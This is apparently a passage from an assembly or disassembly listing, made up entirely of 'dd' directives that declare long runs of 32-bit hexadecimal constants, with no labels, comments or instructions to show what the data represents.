		dd 0C039838Ah, 7AABD368h, 0F6275FB1h, 0CA506DEFh, 8B6D10DCh
		dd 87E184A6h, 134888FDh, 86F7DC01h, 70669B75h, 6D0ECEA5h
		dd 80DEEF73h, 43721860h, 208A5A2Eh, 62676FB0h, 0BA008CFEh
		dd 587F330Dh, 2D9561E2h, 54E7F3DEh, 3F15F6C2h, 5C15F608h
		dd 332092E2h, 13C470CAh, 8661EB24h, 6917E813h, 748153A3h
		dd 5C21D9CCh, 97729800h, 609994h, 0EAA129A0h, 0B9D82E0h
		dd 0C4C8656Ch, 0C4C36031h, 241C90FEh, 45ECCC6Dh, 0CECC41F3h
		dd 0F2CA98FFh, 0FB00BC64h, 0FC39A2C0h, 0E0BD4BA8h, 548300CDh
		dd 4E2B89ADh, 960FDC2Fh, 390A4BFh, 0E07B2AC4h, 0CDFAEB7h
		dd 7E29428Bh, 660306D0h, 0E94FB6B9h, 0F2028616h, 3CA0381h
		dd 118D8B67h, 0D4061E81h, 0EE60E985h, 7E43B934h, 50190FFCh
		dd 3BF8870Fh, 1D33B501h, 0B2FF301Ah, 545326B6h,	0C878E101h
		dd 75858959h, 95FF5784h, 0B70F43AEh, 0D12A0CF9h, 0BA2869A4h
		dd 36A1DCEh, 7A03E851h,	0C359326Bh, 0D95F4C4Ch,	21171867h
		dd 0C3005141h, 28764DA6h, 6D9585C7h, 0C0217213h, 88054CBAh
		dd 0BD83112Fh, 0F02341Ch, 501EA84h, 0D1810F51h,	825A28B0h
		dd 3EF19822h, 2506F8B1h, 0D1FD9D89h, 0D335064h,	81016A07h
		dd 49312995h, 5369088Ah, 0C35B398Ch, 885C8911h,	53438016h
		dd 827802C3h, 0B46964CFh, 45B288A1h, 78711888h,	80801925h
		dd 3F4F52DDh, 4810F0Ah,	3DBF41F8h, 0B74ABD23h, 5505BB21h
		dd 0C35D4F21h, 8C6C89C8h, 3451544h, 4E47C355h, 15750DE8h
		dd 0AE8E3500h, 0AB95207Dh, 0C6C30C5Fh, 0D99CD2B7h, 68EC0741h
		dd 0F0128FFh, 3940FBBEh, 0A061D280h, 42087DCEh,	2F3E281Eh
		dd 0B116Bh, 0B0F3EC6Bh,	875D0013h, 0F9DA0D25h, 0B212EFACh
		dd 52604662h, 4085B509h, 0E9A05930h, 0E183EF13h, 25E50BF6h
		dd 6CE96124h, 2983519h,	4CD7AA8Bh, 2D41E986h, 78E46AD1h
		dd 90CB7250h, 0C12ACD64h, 884CD6CAh, 1850AF81h,	29C37258h
		dd 0C0FE4489h, 3DC35040h, 8B224B09h, 949B32D1h,	1C564693h
		dd 8988C35Eh, 401CC474h, 1BC35646h, 741F01EEh, 0B8C1142Eh
		dd 50152652h, 2748516Fh, 1FAA89D7h, 821491C9h, 92EE8A4Eh
		dd 0EA940730h, 408AA644h, 19E28F52h, 0C373A30h,	0E22074C9h
		dd 154159B8h, 0A46595D8h, 71F7F0EBh, 9AB93AFFh,	9383207h
		dd 0E518C6BDh, 0FA03B514h, 8C1BF8D4h, 43CEE800h, 7591BDB6h
		dd 3BBA0676h, 0E22992CDh, 1A16B920h, 39088F0Fh,	4002C784h
		dd 858B47B2h, 5E0C50BDh, 0D8134451h, 18B5054Dh,	8D17719Dh
		dd 0F1B828B5h, 51574659h, 7C89C8BBh, 184459A4h,	0C3570047h
		dd 0BEC0F29Dh, 0B55889E1h, 85596178h, 0FF009F8Ah, 867B0FD0h
		dd 29BD8988h, 0CD607B5h, 75DED68Bh, 0C90695D6h,	2F0FE8h
		dd 3AA3DFEDh, 60A666FDh, 0FE3D8F01h, 0F1214DB3h, 40496730h
		dd 0F3EE592Eh, 8100649Bh, 4569F5F7h, 8349A46Dh,	0D27928Ch
		dd 910889Eh, 649E371Fh,	85C22716h, 53A8A82Dh, 90800F42h
		dd 24F2B6BCh, 74A2C08Bh, 91241446h, 2390838h, 79085B24h
		dd 9758C1Dh, 2B442512h,	649DB074h, 0C4B87053h, 18AA5285h
		dd 9D8DA72Bh, 0BEAC3A2Ah, 585BD315h, 21178822h,	0A929E220h
		dd 0F4EA8A30h, 14CD33BDh, 0F053FC24h, 301CA2E4h, 0C21F55A9h
		dd 570EF8DAh, 0CA1F107Fh, 0F95083CBh, 0BAC8D88Bh, 53652602h
		dd 0A394ED8Eh, 9789F183h, 0AE504343h, 9C20C206h, 5B1920F9h
		dd 0E3F06626h, 89296510h, 19716DF2h, 35002A18h,	0E9C51D48h
		dd 37D7B3BFh, 864C206Fh, 5CFC2B13h, 0F70EBA00h,	1E2D6DF3h
		dd 5D3C390Ah, 0D1DBB983h, 84FC010Ch, 0EE6B5E57h, 5995040Eh
		dd 0F604207h, 17D8C682h, 2429718Dh, 669822B6h, 945039C1h
		dd 87675282h, 8922C35Ah, 0D49C54h, 80C35242h, 0C97D21E1h
		dd 0C40D20Ch, 5D0F4846h, 758D148Ch, 381CA479h, 68382A90h
		dd 0B5081821h, 56530E33h, 0F410E94Bh, 0D30083A9h, 0C8BB466Ch
		dd 4E83462h, 59B310A1h,	9B8815Ah, 81CD832Bh, 3E048AD9h
		dd 0B17BDD16h, 1818D95Bh, 89D0AF2h, 139136DAh, 82DC64FEh
		dd 0B9200520h, 4D8F3F1Ch, 6082BF5Ah, 0D42012E9h, 917793h
		dd 4055B70Fh, 821B3A29h, 0B4270902h, 5D38542Eh,	7B002ED2h
		dd 7A44F6A3h, 341E4Fh, 61DFCC24h, 56D39BBAh, 58DF2556h
		dd 8BCD01BDh, 89601840h, 0AF3475F9h, 531060E9h,	8139130Ch
		dd 523ED7A0h, 0AE082100h, 0D0F9B697h, 0C76104F5h, 0A3174985h
		dd 7C26460h, 8C92340h, 0D82CCF46h, 3102DACh, 0CED6BF85h
		dd 123C22A4h, 45398D31h, 28C3D00h, 1F9831Ch, 0D206085Ah
		dd 6CE9B5F3h, 0D18D9921h, 7B61815h, 0FFB9663Dh,	5F965592h
		dd 73A7A236h, 0EC601B44h, 0D60159F2h, 69689537h, 21800CE8h
		dd 0BFC67BBBh, 11E7A9Eh, 0E10BEC6Ch, 5E9848Ah, 0BADFE058h
		dd 0F107904Ah, 135EF59Fh, 1823203Ah, 0CF565E01h, 0A520A368h
		dd 510C58EDh, 2A119DC2h, 0F234AEC4h, 57C168EFh,	14572DA5h
		dd 0F75269E5h, 950BD101h, 0BE242391h, 710E60E9h, 0D7130203h
		dd 0F0C5EA00h, 157A4A7Ch, 0AA7216ECh, 11423F5Ah, 0C6F80BC6h
		dd 52E00B42h, 0E205815Fh, 4B3FDA25h, 6165BE1Dh,	0FB73C06Dh
		dd 0D5301DA2h, 4E7500F9h, 10A65697h, 83033BCEh,	850FFFF8h
		dd 8B2D1259h, 4DA404C8h, 75A26404h, 733016F2h, 0EB2D4C3Ah
		dd 31F6E914h, 58A4D03Bh, 19467E91h, 0BBC2FC01h,	90F235F4h
		dd 2E2201C4h, 0BE666007h, 89B4ECC7h, 17C86098h,	861E288h
		dd 15BB0CD2h, 7006068Ah, 99B5E988h, 1EFD88FEh, 0F17A8E3Dh
		dd 0C6F52AFFh, 14D18C21h, 3998B218h, 0FC3FF848h, 0E10747DDh
		dd 920B07DDh, 7CAD688h,	8BB10F3Bh, 40A5BA2Eh, 433302E3h
		dd 898A6F1h, 0F4CCCF1Fh, 228D5F01h, 851033B9h, 311FF7A0h
		dd 827736BDh, 73FA9859h
		dd 5B34E936h, 0F5A82030h, 0BF664005h, 17253E08h, 1823183Ah
		dd 0BB5C5401h, 14741E9Eh, 6C34646Ah, 5071E091h,	32848CB0h
		dd 0D5208398h, 731A131h, 0C0620760h, 0DB8C66E5h, 448C3F6h
		dd 76FC223Dh, 6A4159C6h, 52685601h, 8A9CA8B8h, 8A02F15Eh
		dd 6438FA42h, 46A2E64h,	77101021h, 25816469h, 0D6940B71h
		dd 68472D20h, 18AC119Bh, 2904E6ECh, 11EF08Bh, 2661684Fh
		dd 9D07EE2Fh, 0D6C773B8h, 530C7D07h, 1856286Ah,	75C02985h
		dd 6802BA75h, 0DB876498h, 0D0C82AB4h, 684C5824h, 2BE7A439h
		dd 8B472080h, 895F0BD4h, 9A41045Bh, 0A545710h, 3C7C215h
		dd 851DDBAEh, 4020C43h,	0CBA18507h, 0A1024174h,	0B5942E47h
		dd 4211948Bh, 68458067h, 40A5F797h, 14435592h, 0AB026799h
		dd 750A280Ch, 0B46D6032h, 524EA1A3h, 28E60C32h,	85C5F394h
		dd 9A303416h, 388F2BC3h, 768B135Eh, 4D839BB2h, 0D00BAAEDh
		dd 68212DF4h, 0F5BD234Ah, 503D2E38h, 0E41E8E2Eh, 2944C0BBh
		dd 0B2BA79B5h, 0FF645A08h, 8DD6B135h, 7D413C95h, 0D258928h
		dd 79200BB0h, 27B5F822h, 222E1651h, 0D2A833C8h,	22332C69h
		dd 9272DAFh, 48B111AEh,	26407EE9h, 5B24EA80h, 0BA6C54FEh
		dd 62953A40h, 80E9D129h, 0DB332348h, 465EC694h,	9C300016h
		dd 0FCC0335Eh, 3F0F0240h, 8F640B07h, 507D9492h,	0B5011ABBh
		dd 0F6C77B89h, 75601844h, 0AE2C793Fh, 0FF0735B6h, 0CA3EFB83h
		dd 600B4A84h, 610A81B5h, 0DDA008E9h, 3021208Ch,	4205D481h
		dd 4E79E7Fh, 0FE601AE4h, 270BAF56h, 0A223AA8Ah,	609C4767h
		dd 77F91F1h, 0C244C8Bh,	3BA4D6C7h, 8303FF67h, 5015B8A6h
		dd 36C39F04h, 8A305C8Bh, 815D10E1h, 2E1624EDh, 838B0549h
		dd 0CA2B8CB8h, 668919C8h, 0E3B44F5Dh, 405630DCh, 0C0CFF7CAh
		dd 0F1207BB0h, 18335C21h, 0B2A20E27h, 15D22E31h, 81890C60h
		dd 17B4FDF2h, 1500EA8h,	0A9514AF6h, 39C24160h, 8F2C050Fh
		dd 0C01642D5h, 0BC3BA66h, 130A60B9h, 55D704B8h,	64054818h
		dd 1BB0DA6h, 8685D465h,	61B640BAh, 0E8EAF4BBh, 0ED0C5F67h
		dd 5868FB70h, 7556124Dh, 1FA9C20Ah, 58540104h, 78810FE1h
		dd 13888403h, 3873C856h, 1DF81100h, 485BA135h, 29FE0173h
		dd 0F59DE98h, 82996883h, 930659Dh, 1B64BCC7h, 91B49060h
		dd 0FC5EAE07h, 0C6AB2DEBh, 0E7813B6Eh, 241734D8h, 10C23F5Fh
		dd 109F043Dh, 5EA1880Dh, 42082087h, 0F260C4A9h,	240C00A4h
		dd 345AEFA4h, 3A797180h, 63036A90h, 0AE77BAD7h,	858BD9F8h
		dd 25B0355Dh, 91129761h, 0A5C7801Ch, 1394E7Fh, 0E712D436h
		dd 2CDDBD8Bh, 295705B3h, 20925D95h, 0E989815Fh,	0D906013Ah
		dd 387720E1h, 5BE13571h, 78458001h, 3706563h, 6E6F6974h
		dd 669B4920h, 616D72B0h, 50800CA3h, 73F2656Ch, 206F2CE6h
		dd 0A7648E08h, 39DF6874h, 99C76C36h, 67F96977h,	64E963F9h
		dd 28BE73FDh, 619BFBF9h, 52786440h, 2ACE2EFEh, 5420836Dh
		dd 6B163B68h, 75BF793Dh, 40D0A9Bh, 280131FDh, 73469870h
		dd 1D544362h, 7F2B4C52h, 699ED1ECh, 64971ED9h, 0A18FA0B6h
		dd 879702Ah, 0BF696C3Ch, 72618562h, 36102964h, 65561F42h
		dd 9F997354h, 25DE3DDFh, 80431E72h, 496B6387h, 640FA94Eh
		dd 55234F1Ch, 72508754h, 211DFA6Fh, 193B6D0Fh, 69E6010Fh
		dd 0F3DA174h, 0CA5B1EC8h, 188E8D50h, 3F201E1Dh,	13D12CBDh
		dd 12D62FFh, 5920255Ah,	0E5062A7h, 6826A6C3h, 80805C25h
		dd 24276936h, 212FD614h, 7E02819h, 1632BBB1h, 2248BD7h
		dd 11A759ADh, 0AFA3109h, 0C4E42125h, 0F0216BE9h, 35A736C2h
		dd 54E2F810h, 0E2F49035h, 0E890353Dh, 903545E2h, 154CE2ECh
		dd 0E5080C23h, 0A2E90B1Fh, 3DBD7910h, 0CA3A0D48h, 2D880D95h
		dd 11854227h, 7DEA8229h, 0C2810022h, 0E9811CF8h, 8D17FE7Dh
		dd 52FE8895h, 40283460h, 7F3BD4C3h, 13852589h, 0A1DD792Eh
		dd 8B155591h, 0C317139Dh, 3413C54Ch, 50116265h,	210FE411h
		dd 0F2F01054h, 0FF41158h, 0E8115C21h, 559FDC52h, 68A2AF0Dh
		dd 5A29CD28h, 19EC0C32h, 86F40CE8h, 0E421F043h,	0A50E091h
		dd 0A1C93DAh, 84073012h, 161E23A5h, 62B8BC3h, 6A24C4D5h
		dd 0FC292440h, 0CE49192Fh, 9601F023h, 0C18B61B8h, 3B236860h
		dd 45CEAE66h, 4F0E437Eh, 0E10076Bh, 4028B904h, 0F78C16BCh
		dd 89E082D2h, 69042B2Dh, 0D6EB4014h, 0E828CD61h, 58E0A070h
		dd 4B8B003Ch, 2F62A5A0h, 205EEE42h, 79E95121h, 0FA3883F8h
		dd 1FB500D1h, 5E9C65F5h, 0BE126661h, 0CBCB7BA2h, 4CC31DC8h
		dd 0B8B083DEh, 41AB27h,	666087D4h, 61B9C1BBh, 0F29372B4h
		dd 1122368Ah, 40B95600h, 5E32D81Dh, 84A097E9h, 6BD68166h
		dd 0DF8CB607h, 0F791A1B5h, 7B2404C7h, 0B629D277h, 269FE0A1h
		dd 487F69h, 80BD657Ch, 0FF2BE1DEh, 1744DAA7h, 0C915D960h
		dd 0AE93A11h, 0E311C500h, 0AFD8A8DDh, 0DCE8A912h, 36AE1202h
		dd 74A45C21h, 6B001B46h, 2FEDAA74h, 0C6004CC7h,	507BB293h
		dd 7896B966h, 0C1F54B69h, 2DD37878h, 6C2F9782h,	1A001723h
		dd 80F2ED7Fh, 0EF0B50D9h, 414507BAh, 0F21697BEh, 0A95B6172h
		dd 15716D21h, 72DB6119h, 3D1C00DCh, 4FE666BDh, 3CF900CAh
		dd 0D9F132DAh, 0EAEC8485h, 8B784A0Ch, 5E1EEC4h,	1CDB40Ah
		dd 0F0F1F6EBh, 1455DD9h, 0CA120967h, 1407E9CEh,	619FD601h
		dd 47D6B0B4h, 631D4438h, 4EA89029h, 0B63F044Ch,	0E653C1D1h
		dd 880F1307h, 0BA0998B2h, 11C23438h, 1979B259h,	0C409D818h
		dd 40CB026h, 614114ECh,	0FC111874h, 0FA72F3CEh,	574C6600h
		dd 9E0DA12Fh, 4EBEC38h,	0C88B5ABEh, 84E0810Bh, 683FA4C1h
		dd 4BC81FDEh, 7BDA834Fh, 309DCF4Eh, 4FED4AEh, 6A4CAB00h
		dd 0F281611Dh, 3CE33CF6h, 8D8F005Eh, 1E71ABBDh,	11099D9Dh
		dd 0AD2E831Dh, 0C42CB053h, 0CCCF007Ah, 0FFC68118h, 585B334Ch
		dd 66BA4DEEh, 0D0E7F1F6h, 8F510FD6h, 1C72154h, 3C57FC13h
		dd 981027A3h, 8B60F96h,	0C8FE0140h, 0A875B011h,	9E5F0212h
		dd 0DE6259Dh, 2CCB8B3Ch, 0E944E58Ch, 0D000DCE9h, 0DF49837Fh
		dd 61F82FEFh, 924026BEh, 40B00C2Ah, 490BBA72h, 3D2CC71Dh
		dd 0CBB5A586h, 40BD0E90h, 2CC3C6D4h, 7D892990h,	895E30D1h
		dd 0D90806Ah, 17C4A760h, 76E1132Fh, 8174CC34h, 0F072DE00h
		dd 0C28B608Fh, 3F184EEBh, 0BE91993h, 0E6576085h, 20884E1Bh
		dd 6131379Eh, 0E6E9E4C2h, 6032AC68h, 0F6040814h, 984FD12Ah
		dd 61E9C324h, 0B58B21F8h, 818F8ED6h, 18F00DE6h,	0E81A222Eh
		dd 0B382FF44h, 3B1889F2h, 0F39DAB5h, 51E96E86h,	97D820C7h
		dd 6FCF3622h, 8C042298h, 0A0324C8h, 2A10FC94h, 0DABB29F5h
		dd 52908592h, 580A1886h, 6741C9DBh, 0C61EF707h,	44C62404h
		dd 70FF50CFh, 0E6B80827h, 2091254Ah, 0E020010Fh, 163390FEh
		dd 0D1531CC0h, 0ED896653h, 2098AFCh, 9E5535Bh, 821C4C74h
		dd 0E0844328h, 0C153BB44h, 0E380CBEFh, 84C38D03h, 760B4B38h
		dd 61E5C7CFh, 1B84F32Fh, 0A2E6448Bh, 89C59198h,	18C70657h
		dd 1634578Eh, 29012333h, 91A25BBDh, 80600BA3h, 31A1A43Eh
		dd 0B7A1BB40h, 0B01C763Ah, 0A4ACB101h, 0C88AAC60h, 32C33902h
		dd 0AACBD103h, 4022D20Bh, 0A4A1901h, 16E5D6C9h,	0D4DDF023h
		dd 52091011h, 7D82D48Bh, 6261087Ah, 0AA2140E9h,	58E13F80h
		dd 5A545F8Dh, 513753BCh, 0DB243256h, 0AC8F4BE8h, 0D3D1D840h
		dd 0BC0DC381h, 0B037465Ah
		dd 0B49D1E7h, 5E89791h,	595EC38Bh, 98605BC2h, 0A311E97Bh
		dd 2AEA2B2Bh, 8C04477h,	35DFE4E7h, 0A8D80F03h, 293C2904h
		dd 167B92D4h, 58EA89A8h, 85338F60h, 0B28D217Fh,	0BD068777h
		dd 388983C8h, 3F4B23E9h, 7E8BE5CCh, 17050240h, 899B46F3h
		dd 14192192h, 46ACFE3Ch, 30A3941Eh, 0E9AE88E4h,	0DF698768h
		dd 721276A4h, 0C7A4D00h, 26CAB2B8h, 6BBBA945h, 20307707h
		dd 3B46C8D1h, 820FF70Ah, 0EA488DF1h, 0BD280814h, 28284C94h
		dd 512456B8h, 2C201353h, 670C4A24h, 842D3CC2h, 4400AC9h
		dd 32133498h, 0C3C1D809h, 671C0A08h, 5B051CEAh,	37105E59h
		dd 3A071098h, 7452C18Bh, 0CA82FF8h, 43840225h, 9A11057h
		dd 99B2204Ah, 0C300386Ah, 3F52A4A9h, 130B8B7Ch,	0A25EF5BBh
		dd 9E7001A8h, 0EFAAAE25h, 4995BC0h, 3A8D9A66h, 8FDCC107h
		dd 0F6800071h, 48BB27F1h, 3E8B7680h, 0B000A1B9h, 0C78113EAh
		dd 0FFD5B87h, 0B5F58008h, 0B7D9EF20h, 11983D47h, 0A644F22Eh
		dd 6743F700h, 0B95796h,	74A31811h, 0FC523E89h, 0EE835A0Ch
		dd 60C46C01h, 0EA81024Eh, 0A714BC1Fh, 22A24B5Bh, 0D68007BFh
		dd 31CBFAE0h, 41C3958Bh, 8060C904h, 0C4636B11h,	0B94FE1h
		dd 0D30916F5h, 0C006679Fh, 85D29C00h, 70803F20h, 6BD7CB4h
		dd 0E14C1A93h, 91F0407Bh, 27487700h, 0F1471CE0h, 5F28C1A0h
		dd 82CB901Eh, 5CC49540h, 7B38878Ch, 0D4F6B340h,	7420C09Dh
		dd 0EDC9CEAh, 133AF500h, 0CDA1F783h, 695D07A5h,	60919359h
		dd 5E4A6B87h, 0A2CAAF00h, 0B44810DAh, 97AA00F7h, 777BA302h
		dd 8A392F4Ah, 244D11Ah,	0A5864128h, 66E031A8h, 8120F630h
		dd 0F5E4F1Ch, 69BDAF78h, 18C5C086h, 63F0E08h, 489A1D8Eh
		dd 6200A354h, 4453986Bh, 16B30AF8h, 4394C204h, 307CA3B7h
		dd 181CBB3Ch, 6510A5A2h, 31ADFE06h, 32188601h, 3AC9019Ah
		dd 1A8C48h, 92A7FC70h, 9110F46Dh, 11089F07h, 0E35642E7h
		dd 1A650029h, 468CDA86h, 0E254600Bh, 0A08875B0h, 0E3C70A8Bh
		dd 8CF8A80Ch, 5348EA12h, 513E67F8h, 0E4BC8A9h, 0C0354B0Dh
		dd 939E62B1h, 9F400195h, 5DC45CB3h, 71C847CCh, 0ECF4FCF2h
		dd 0B60B4BDCh, 889592B5h, 8B45E8BAh, 0F20C046Bh, 0FC10BF1Ch
		dd 18DD7630h, 0A09EC76Bh, 275C9DCh, 73B3F652h, 9C87B620h
		dd 0DF1FF0FCh, 0F326C0Eh, 1089294Ch, 0FB888407h, 0EC08801Eh
		dd 0F9A81100h, 0A0CF192Eh, 7AEB0E61h, 22408993h, 5099AB7Ch
		dd 5C667800h, 309AB90Fh, 0AD691CA6h, 0D552C0C1h, 1F2C8F8Ah
		dd 54374A00h, 0B4578E0Dh, 884E3EDEh, 91EF780h, 0BA2A1A7Fh
		dd 93C74C00h, 33F2A356h, 0FD1000CDh, 520C8922h,	9EE8B9A9h
		dd 13768A00h, 21086B4Eh, 0AD793A46h, 392D5F82h,	0C5C11D68h
		dd 0BB945083h, 0E300712Ah, 2E01F99Fh, 5F6D12h, 0A78E7577h
		dd 0F7501BCCh, 4687A801h, 7D180B33h, 1E62ACF4h,	0C0237A49h
		dd 5F1B4231h, 0E103A2FDh, 88BF993Ch, 4A9DD021h,	61491E75h
		dd 0C0EF80BCh, 0DBB66527h, 4FD4A254h, 0BA466E0Eh, 2B5940B9h
		dd 9542EE2h, 0F37D9E19h, 0B0FF1100h, 0B40C0458h, 0F1B62422h
		dd 0CD782Bh, 0F8386870h, 0E096F5B0h, 0E1038A71h, 0EF470415h
		dd 4B1B90A2h, 1790020h,	36FA4A85h, 0AC00F08Dh, 77588A25h
		dd 1B61B60h, 0DFD7CB9Ch, 0D5195067h, 70ACF170h,	3A00B8CDh
		dd 0FD8F6B7Eh, 77D7685h, 0A6759E3Dh, 9043204Fh,	2006C37h
		dd 42F7F615h, 0A7EB2Dh,	1FB86D16h, 9C8651Dh, 0E660F900h
		dd 16E18DAh, 9E8F0135h,	0DD84C02Ch, 0D1C45094h,	0C8E1056Fh
		dd 9F516B7Ah, 0F6AAD080h, 354ABC00h, 0D96ED0A9h, 0BEF200C1h
		dd 93E6F152h, 0DF609915h, 9DB84B40h, 0E32500DCh, 0E0D0364h
		dd 0F701A610h, 9FCE1835h, 4720BD5Fh, 1BB00FEAh,	0DAA02EDDh
		dd 0D5D59C5h, 26A0AF00h, 0EDC26093h, 88B71263h,	8244078Ch
		dd 758F30E2h, 6F1C28D6h, 24C23956h, 80927EA2h, 0F2820CE4h
		dd 0FA7975F0h, 0AE8A0070h, 9834225Ch, 19093EA0h, 78FAB46h
		dd 0B8955628h, 0EBDFF804h, 9EF3C90h, 0F0209012h, 3B29CFC5h
		dd 0FA20B94Eh, 0A3D46934h, 161A3100h, 7115A4EAh, 5D1E0001h
		dd 20AFD267h, 0BC00B538h, 0C8478288h, 46E345h, 4E32DF93h
		dd 783C1C96h, 8CAAC900h, 9036CB97h, 0AFFA019Eh,	226BB454h
		dd 0E5C88093h, 7C082370h, 0D0A007Dh, 39E646A3h,	0CD03EE3Eh
		dd 0B7F40581h, 4B29A09Bh, 0E14A01BDh, 0FE67D232h, 0AB0DC40Fh
		dd 1734F403h, 0C77C8355h, 9D1AD3D0h, 2F880195h,	23B30559h
		dd 0AD98E0F5h, 41361C03h, 0C8EA022Ah, 0F4D4CDh,	0CE44DB8Fh
		dd 0DEF2141Fh, 76CA658h, 0CC717409h, 233CF570h,	0C288009Bh
		dd 0C4927606h, 0BA00B8D1h, 244CB4D4h, 744140D3h, 64CA00ADh
		dd 64A04E0h, 460A147Ah,	0CBDD4702h, 0FA870B00h,	0FA8E7CFFh
		dd 32CC00C9h, 0E40D6B64h, 740075F9h, 39BB4C12h,	0B7CA93h
		dd 0A39C0C57h, 0DF1C2DFAh, 6012C606h, 7021C9F7h, 0C8391FDAh
		dd 13178055h, 0CF1DD91Ch, 0AC4D6C3Fh, 0D10B7A40h, 0AF1D8012h
		dd 1E6438h, 471517B3h, 0DEE20D9Ch, 0A435B400h, 62758D0Ch
		dd 1C747692h, 410112E4h, 0E7602CCAh, 0CC25DD23h, 2AF43FCBh
		dd 0B63B770Fh, 13FB60A3h, 120B7Eh, 3F9F972Dh, 8CDB20A0h
		dd 0F7AE1500h, 49803DC3h, 0B74703B0h, 1F348DE5h, 293EC1F0h
		dd 6ADCD51Ch, 0E7C021DCh, 9F9A9454h, 0B087E614h, 890A00BDh
		dd 0EE386311h, 0C00C85Dh, 0A5DFCF26h, 7F1C35Bh,	0B52BB26Eh
		dd 0FF83038h, 3D3A5DE2h, 484DA9h, 0CC056D7h, 0EAD2D7Ch
		dd 3F7EB468h, 1001E500h, 0F2592C37h, 80643B5Ch,	3E3A1DCFh
		dd 44833A9h, 466D9920h,	0F69C80EDh, 0FC790189h,	95049490h
		dd 0DB9171D9h, 84DF24D0h, 0A0F698F5h, 7D669DA8h, 210D00A6h
		dd 3CC73F34h, 7B0055A4h, 35A2FCE7h, 4EE5B31h, 53144CDEh
		dd 43C4902Ah, 910088AAh, 0DB3E2B46h, 26E1F741h,	4C5B97h
		dd 6A749481h, 7F0050B7h, 1D888715h, 1C7877F8h, 80D184F2h
		dd 1E39900Bh, 0EFA2CD27h, 0F3921040h, 0A082FF02h, 41F9A288h
		dd 66D4D567h, 0DEE713B8h, 0C9CF188Bh, 0B5005FA3h, 0DC7A7D74h
		dd 0A5651Bh, 0CE503EA7h, 0F837E64Fh, 3945501h, 74B3C8A3h
		dd 62ECE8h, 2575F21Dh, 4B9F1907h, 55AF901h, 78D10FFBh
		dd 0EE1A6830h, 0F790014Ch, 64890B24h, 4356202Eh, 8021442Ah
		dd 0E426DB01h, 2F53CE65h, 0F29532E0h, 820526B1h, 0B3980170h
		dd 78CE4591h, 0CCC0007Dh, 0B09943A5h, 0AAD20093h, 0CA98DC9Ah
		dd 66005EEDh, 60F4D5D6h, 58A01E69h, 7A002E90h, 0D0BF65C4h
		dd 4D1C336Ah, 53C05EDFh, 42753F30h, 3DA200FFh, 0A1B70F68h
		dd 6E008CD3h, 9E5EA7F7h, 0E14ACD5h, 1C5484A9h, 37436FC0h
		dd 880B01A6h, 2165CA26h, 0F9DF90B0h, 7304FB45h,	5881E3EFh
		dd 28300679h, 57B4079Fh, 10B2679Ah, 5CF10AFAh, 16243Dh
		dd 0C7E1384Dh, 9887B02h, 3AC5E673h, 0F8CFB906h,	0ABB92605h
		dd 0D840D919h, 97800C91h, 0FE09A15h, 2407EF7Bh,	0FE47F68Fh
		dd 52CD61C6h, 0C1AF3055h, 0B0C05100h, 3AEFE582h, 44AF094Dh
		dd 26070412h, 0C94EE0C5h, 0B008085h, 0BF3B48FEh, 0F85E40h
		dd 0B91E537Dh, 77DCC243h, 9ED3FD17h, 71B7EC04h,	8F69A080h
		dd 67C6F0B9h, 877F1199h, 14E8C190h, 7C042801h, 99F05F00h
		dd 71A7D53Ch, 1CF5744Ah, 80E23963h, 0E9A1B8F2h,	0AF034298h
		dd 36889104h, 5F99F013h, 34AE6EFh, 0C014A7FDh, 500487FCh
		dd 8E623CE0h, 0DF00F2ECh
		dd 9F818AF7h, 1E1F3EDCh, 7E00E87Dh, 0F99561CBh,	1677EB8h
		dd 0E6698EB9h, 42DCFF14h, 500C64Ch, 0C04871A8h,	0BC4A66A0h
		dd 0BF54D60Ah, 9C5042B8h, 0D14C043Ch, 40F30056h, 0CFDCB5B7h
		dd 0CEC4Fh, 3B52EF2Fh, 7078E504h, 0DAA25400h, 0A948D888h
		dd 0EA950CF0h, 0C94886C1h, 5098B630h, 9480A773h, 0F63F0074h
		dd 76C0EDEh, 8804484Ah,	244AD061h, 0F5223B14h, 42473C22h
		dd 7E201165h, 0B4009722h, 8D84E54Fh, 3F2B8C8Ah,	4E1FB575h
		dd 774F020h, 0A4000608h, 63B89313h, 0DCD744h, 0A6222D72h
		dd 4F491715h, 0DDC93B28h, 0A4E00B38h, 0A02F076h, 526DDC2Bh
		dd 0BA14712Ch, 9AA70034h, 0B8E5A86Ah, 7361366Dh, 11906819h
		dd 3BB6FC20h, 3E850953h, 802C285Bh, 5CC5E7ACh, 0F80538h
		dd 0A6E39518h, 3B6EECCCh, 0E198F110h, 829B287Bh, 799EA51Eh
		dd 0C3A15ECAh, 0D0A64707h, 0BFAC4C20h, 16A75897h, 34527500h
		dd 0FE716174h, 4EB11303h, 0B8FDD0C2h, 10B5A12h,	0FA0FAF11h
		dd 0F01EDFF2h, 433AC4BBh, 4844ACD2h, 0BD03A00h,	76528Ah
		dd 0E498A932h, 3097EBADh, 80804238h, 8EDDCB84h,	7690DC2Dh
		dd 22FC00ABh, 7D9B17A9h, 840FEBF1h, 0E78002A3h,	30E0DC10h
		dd 12A681B3h, 40A52907h, 0D9FF7034h, 0E1001C27h, 0C643CF1Eh
		dd 0E6DA3Bh, 947F5193h,	92477977h, 6A7AD27Bh, 0F6047D00h
		dd 0C1176DFAh, 5B2200A7h, 0A60653E8h, 0A26AA9Ah, 460020CEh
		dd 0F3828B99h, 904C51F1h, 4EFC1C25h, 1DF0944Fh,	36B940C3h
		dd 72780E04h, 10D13314h, 80AB3CD4h, 265ACF83h, 960774Dh
		dd 0B2B6D855h, 296F0C80h, 0C6048D4Eh, 88668514h, 0CA375900h
		dd 5203B93Ah, 0EBB31C5Bh, 0CC0FB33Dh, 0D0DC1483h, 32BA1D5h
		dd 1F9EE9F7h, 7100C92Fh, 175E08E1h, 92325D91h, 0F898002Ch
		dd 291EDEF9h, 9212EFBFh, 2800E285h, 679C9A3Bh, 2C7E4956h
		dd 0FC09F601h, 0C3BA665Dh, 29A8EBC8h, 689F1C00h, 0E8489825h
		dd 1FD300F5h, 0AD6A3EDh, 0AE002682h, 0CB73DE1Eh, 3A86CB3h
		dd 2F4BB7D2h, 6800F85Ah, 4A7C2EE7h, 7A70109Eh, 0EFAEC0Ah
		dd 0B13D34D8h, 0E9E1F680h, 0C17D1B11h, 5800A898h, 0AADE807Dh
		dd 381DEF99h, 0BCD0BA37h, 9FEA4Ah, 0A0F8C26Bh, 0AEA4DEB0h
		dd 9A0F1900h, 0F380A8CFh, 0BED6008Fh, 0F1564F13h, 0EC2C6B3Fh
		dd 951CDCF8h, 1CDD7780h, 2CA4A266h, 40D44D43h, 0E00E57F6h
		dd 0BCFE1F02h, 80F0AAEBh, 1A74EFC0h, 779EE406h,	0A4B04Dh
